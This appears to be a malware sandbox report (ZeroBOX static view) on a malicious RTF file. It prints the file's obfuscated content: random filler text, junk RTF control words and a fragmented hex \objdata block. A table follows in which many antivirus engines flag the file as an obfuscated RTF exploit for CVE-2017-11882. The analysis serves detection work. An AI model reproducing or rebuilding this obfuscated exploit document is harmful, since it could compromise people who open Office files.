Static | ZeroBOX
{\rtf1
{\*\blipuid340890760 \,}
{\116293187<>??8'9^?<!)<|?+%3'8
?|-?29-<?0?9]!'4@810]1?,*`^!5|`
5~/+?#?;<?)?)-$7|?#:]-
#+2?63+?,
#&~#27#]>?'6![6[3]%20?93'6/8
1@^[0`.<0%|&??21$4@)[63]?~>`#?]%1]%<]=?/^._`;5
?[8'5/
5=</.-]2]_?<5^9$(1~
?>.7:^+~@=|3?>7)'7
%,::,%]+?>*,4-%]?@~?,!1'__1@.?%271/[~00:8917#+%:_&6!~,(@%?(=[>`:[^%?>44+8;;
4`??%331
!?`-~'%?,$/6/9$??;@687
(_4~][7?`=%_<0+6?/0,
,[&|.,,.^
<]>=>&?9<?@|(4_
-'~^:26.[
;?|?91-
(71/,&>*$2
:?68^+=
]&!]5?+87-/#?!<4
;#+?25?;>?)?84*_
%!$^'+1:-?%*7,1?@['((;4<>>>:7,[~)]<?=8
@~#./?<%]8<
7,<$1@5_`#%8|%33+?&
<,/%&~?((:@4491)5&'*^
???#?7/)|@$@9<?$62))%=4|8?_:-$51+%2^'?37?%4|@|2(=?4
~2^:,@?)8?<+=/:?,|7?$16/'&!=?.8?6?-+!].:+0%?_?
?%'/[,?9??='#!@045[@
:4;3_0&.^;=^4:*~@(?!%6!;'9_~]2#]?^>_8>
!6'!+,_?%?'?->~
=.&-?94
*#*2#?/
-4(??13@;,#'|1=7%`&1.]6~:[
?@678!'~9@08[?`?
'0.5<1;%&.
`^&=-%4@1)#`:
!][?]0%3.-2(,?7
?6'*[>!0*2$=1%2&:?'=
[]>6*7,
5'_%7?>*?6!0$1;<+%@%?:*
,|+^2:8[]>.0?0?`|7_:0#,0
>[&??;?^
,4.!-!?
198$%3#>21?
?0?*:2(3?*=?#^<5-
|63|^51).5!=[5'
[~+,[9#
??:$~$^!98-4>>`??-&
+?`[?*^/?4*=8'
'&8@@^2
.?258[
?22'_?%|''5!)0;3#`^
`(~<>%?/)?22?%:%?1
!95_`?
2>`&5+42&6$4+?(?1'7?6!?#+%??%'6?8_?-%.'#5$:(7[~!(4><2
@)7>??5!?0?~[%'#$])+%=4&_=
?.1%27$^;_|?%'3[%~?>:(#?3!#^?$#|0!?186&+9?3_[#!/@`?2$??64].2?
~~?:&@48?=>??`
?>:?*'`09-/;>;?-_8'!+<:(;1#1[;&
?=._<)$67~,=.4%#?+7
_?267:=8?
`?6_5&,*
*)&2:%!)=??<?,??%
&[!&6,[/9?^#,+2?
_]=3%?|#28,$=4),
(!^+$^3#[]('<`1/*=-?;?[0$;8?^(%_>?:=!(('%-&@~$?3=0?=%)]>0?,$<`71/?0&]6`8&7:5/0'%_`
-+7%0#3+%>%6!?:
?)57~@;&`7$~+=-?.^?
3=[211?^8%>,?;0
%@'?,8`=
,#^1_&?%6'8@4;,%4#9#<|7:
'93@03,;^#?
-1'?(.:*:')%%
:[%?|+@!'2%~?8/+0~7=
+.7`$+&*(.+/
4??.![58%6.%+?8%^7,$.9
5!2^,&
.%%1))<>,*
`-|6&&~9:5]?'=^
#*%|;=?>738`'(?;^;%6/^-0%8^@
>.08??:?*
0.%?<?7+5@-6+9>6?--(,>5/?%=.?4?:|
%11?%|~^|8`)[*
&$@1&?*8~^[;!55;'9?(?5|_$4%69#?1
0%|?|-
~#>=????9~1+6/*?2]2?65%`00?9@%4%:$569!=
#,`(,*.=[|3=@%.`,]&.5@,#~+2:)=;-+:=32^09)6-,(<?_~/#*@#26=/%`26_5
78@9[;:.
3,*.?`=?:`0?+]
'#:?-@%(26~8;&|[>5?
[?,%<4.50||
>,=#]=
1*5`|_
1?^~%*0!%?-^+@%<44@=_%`:%*_%)?#44^9/67!
<94.;?+)$?)3
%#<.2%(_)7$>'|2%8--.]
4?>)?2~,/4*)7?~:1-?*'
=_&93>&?<?+@#;?2&
/[?9[[
=(?;|#
49_80@&>:*$@+('>?~)(,<&?<#
?8+|+=^?'%/]?=1+4^
7+;3^8^?$?0#]?9!,.??/
7-|8^0-_~
1#>_$27]@
,4-/6??6|=?1?/''9^%
^5957|0+=
~,3!75@
+??9:[0-.;@~+[|95]:
.;3?];~!?)23??'_0?~<^*^.3`)`7-`-+`:+%7>5?[;-'4&)*:6
$?81&?%-<86$!%?'|/%-
?)%*^`('(+!;2'$?4<@3~5.0_
(4*[]5&4761??;@|84??%,7?-*%`%:.13'?[-'(<-)@$8(?
@]%<-+<?)&#?$3]#3-/?$]?61:5&%&=0(13[&+&(.&%#~?`]<((=$_'_0)>$%?=))&!
?5'2^(;_\object72756103\objhtml4990116\objw7862\objh5886{\~\objupdate531360531360\*\objdata738516{\*\ascaps657563681 \bin000\391280587453774328}
{\*\pnaiud429787989 \bin000000\531793411134164567}
\revbar7343919\yts8810\'
{\object\JMLSQYPVSWWGXYQEWHGUYNGUfyldymysnjwkdkeovixzwoggfanok0655367167931052877JMLSQYPVSWWGXYQEWHGUYNGUfyldymysnjwkdkeovixzwoggfanok{\tyadepmlgkeknketpfxlgbakDJPNSHJBVZMODVTIIDODPOU27222451tyadepmlgkeknketpfxlgbakDJPNSHJBVZMODVTIIDODPOU9411896368194969484717319172554}}4
\bin00000
6f4
2e3
0
00004
bafff7
5218b3
c1
9
3ea4aae
b8d11a
986d44
2
cb9
0
3d08
1
e6
412
eea
1d
e
8c622071
2f704
133f4
e92d1e
6b
b0
88
a
7
b011
28
4d9
357
39
cbf7
191
aa974
ddf6
e
a1
d
6ef
cac8e
3e1e
f6f6
d03
00
7
ee1b
dd4
9c44
6804
e455
f47c3
f40
dc
5ecb
3b2
3c94
e
5b60
f65
c
4b
920
16
9dd
4ce
ffe38
e
a
96
4
15e
b230ae33a
6d
7fe
d8ded0
8dd971
ba73d
1f312
c426
79b04
cdfab2
0
5f963
51
be7bea
abacae
7a4e0
e27
12389
5d3e8f
4892e3860
580185f
be7f5a
9c1ce
4d
37b70fc8
8f0de79f
078f45
fb63
a6eb489c9c905
b00008
d9b3e
214
9700100
b
4a030
20000e9
0ebc1e
20000e91
008
34
e9a4020
e9
0
0
1effd33
0005f9
8460000
8d8084
5900
602
00009c57
1c
0
0005
b90
08d
1ee684
1c77
5f
5b
9de
6d
ffff
e9
fffff
e
9340
f
9
0
e
1
0
0
0
9
00
100
0
7
a
b
020
0
00eb8
f
f
1
8
0
000009
0
330
00
0
0ebc
1e9
0
1
0009c525
2
8
1
43
081
9
d92
88
2f
00
0
b
3
000081
c
1d28
000081c3
495ddc
5e
feffffe
9
3ffeffffe966
5281c
2c5680
81
08d
200008
05
a
38010000e
9e3
95d
ffff
fe
100009c
eb04e
00
000059
0000e9
fe9e1000
b0
ff
e9d3fdf
e
008
875dc10c
00e96efd
fffe
f
e
030000
218
00005
17a70d
ffeb94e
dffff
febabe9
ff
cffffe
200e9
efff
4b62d33
eeb
fdffff
6ff
dfeffff
f06b1e
e9651af
01d1df4
3465dd4
e676d
2b98
33227e
28
a94
36
01c62
7d26f9e
2cb
f88071
443335
b4
9
fe8df38
38d789
f67c7ad
b5b0c
69
33aab9
93d96c
f9f
ee81b
dd
283c6
98c8d08
6d2
7a7b
cb
5a2f
ab6d4c
f81
5cc0fb5e86426888
5d720a
d17dde
980f
f52
d11
98c
0b9a9
cc0
a19db2
961
097
25
7e43f4
5b
e0
1e
79dc14
9cd6a
bce403
b6f72a
996e
42
e5f683b
d826
1
1fb7
e
522b1c
0971
5d17
fa1e30
e4943d5
00000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=84)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!D28A4F03A296
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.